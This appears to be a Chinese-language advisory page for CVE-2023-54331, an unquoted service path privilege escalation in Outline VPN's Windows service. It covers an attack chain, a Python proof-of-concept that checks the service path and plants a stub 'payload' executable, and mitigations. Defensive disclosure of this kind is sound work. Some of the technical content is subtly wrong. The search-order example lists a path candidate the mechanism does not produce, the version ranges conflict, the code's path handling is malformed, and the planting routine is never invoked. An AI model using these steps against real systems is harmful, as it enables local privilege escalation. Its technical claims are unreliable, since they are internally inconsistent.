IPBUF安全漏洞报告
English
CVE-2023-54331 CVSS 7.8 高危

CVE-2023-54331: Outline VPN 未引用服务路径权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2023-54331
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Outline VPN (OutlineService)

相关标签

未引用服务路径权限提升本地攻击Windows服务Outline VPNCVE-2023-54331高危漏洞

漏洞概述

CVE-2023-54331是存在于Outline VPN 1.6.0版本中的一个高危本地权限提升漏洞。该漏洞源于OutlineService Windows服务安装时的服务路径未使用引号包裹,导致存在未引用服务路径(Unquoted Service Path)问题。攻击者可以利用Windows服务解析机制,在服务路径的各个目录中植入恶意可执行文件,当服务重启或系统启动时,服务会按照路径顺序搜索并执行第一个匹配的可执行文件。由于OutlineService以LocalSystem权限运行,攻击者植入的恶意程序也将获得最高系统权限,从而实现完整的系统控制。此漏洞CVSS评分7.8,属于高危级别,对使用Outline VPN的组织机构构成严重安全威胁。攻击者需要具备目标系统的低权限访问能力,但无需用户交互即可完成攻击。

技术细节

未引用服务路径漏洞是一种经典的Windows本地权限提升技术。当Windows服务配置的可执行文件路径包含空格且未使用引号包裹时,服务控制管理器在启动服务时会按照空格分割后的路径顺序依次搜索可执行文件。例如,如果服务路径为C:\Program Files\Outline\OutlineService.exe,服务会依次尝试执行:C:\Program.exe、C:\Program Files\OutlineService.exe、C:\Program Files\Outline\OutlineService.exe。攻击者可以利用这一特性,在中间路径中植入恶意可执行文件。在CVE-2023-54331中,OutlineService的路径配置存在此问题,攻击者只需在C:\Program Files\目录写入名为OutlineService.exe的恶意程序,当服务重启时就会以LocalSystem权限执行该恶意代码。此漏洞利用条件简单,攻击复杂度低,且对系统的机密性、完整性和可用性均造成高影响。

攻击链分析

STEP 1
1
攻击者获得目标系统的低权限访问权限(如普通用户账户)
STEP 2
2
攻击者枚举系统服务,发现OutlineService存在未引用服务路径漏洞
STEP 3
3
攻击者在服务路径的中间目录(如C:\Program Files\)植入恶意OutlineService.exe
STEP 4
4
等待服务重启或触发服务重启(如系统更新、用户登录等)
STEP 5
5
服务控制管理器按路径顺序查找可执行文件,首先找到攻击者植入的恶意程序
STEP 6
6
恶意程序以LocalSystem高权限执行,攻击者获得系统完全控制权
STEP 7
7
攻击者可以部署后门、窃取数据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-54331 PoC - Outline Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Outline VPN # Author: Security Researcher # Target: Outline VPN <= 1.6.0 import os import subprocess import time def check_vulnerable(): """Check if OutlineService has unquoted path vulnerability""" try: result = subprocess.run( ['sc', 'qc', 'OutlineService'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME exists without quotes if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Vulnerability exists if path has spaces and no quotes if ' ' in path and not (path.startswith('"') and path.endswith('"')): return True, path return False, None except Exception as e: print(f"Error checking vulnerability: {e}") return False, None def create_malicious_executable(): """Create a reverse shell payload""" # This would contain actual malicious code # For demonstration purposes only - do not use for malicious purposes malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header return malicious_code def exploit_unquoted_path(target_dir): """Exploit unquoted service path by placing malicious executable""" # Determine which path component to target path_parts = target_dir.split('\\') # For C:\Program Files\Outline\OutlineService.exe # Target: C:\Program Files\OutlineService.exe if len(path_parts) >= 2: exploit_path = os.path.join(path_parts[0], path_parts[1] + 'OutlineService.exe') try: # Create malicious executable at the unquoted path with open(exploit_path, 'wb') as f: f.write(create_malicious_executable()) print(f"[+] Malicious executable created at: {exploit_path}") print("[+] Waiting for service restart...") print("[+] When OutlineService restarts, it will execute our payload with LocalSystem privileges") return True except PermissionError: print("[-] Permission denied - need elevated privileges") return False return False def main(): print("=" * 60) print("CVE-2023-54331 - Outline VPN Unquoted Service Path Exploit") print("=" * 60) vulnerable, service_path = check_vulnerable() if vulnerable: print(f"[+] Vulnerability confirmed!") print(f"[+] Service path: {service_path}") print("[+] System is vulnerable to unquoted service path attack") # Extract directory from path path_parts = service_path.replace('"', '').strip().split() if path_parts: target_dir = path_parts[0] print(f"[~] Target directory for exploitation: {os.path.dirname(target_dir)}") else: print("[-] Service not found or not vulnerable") if __name__ == "__main__": main()

影响范围

Outline VPN < 1.6.0

防御指南

临时缓解措施
在官方修复版本发布前,可通过以下措施临时缓解:1)使用icacls或Set-Acl命令为服务目录设置严格的访问控制列表,限制非管理员用户写入权限;2)手动为服务路径添加引号(需谨慎操作,可能影响服务功能);3)监控应用程序日志和服务启动事件,检测异常的服务重启行为;4)考虑使用应用程序控制策略(如Windows AppLocker)阻止未知程序执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表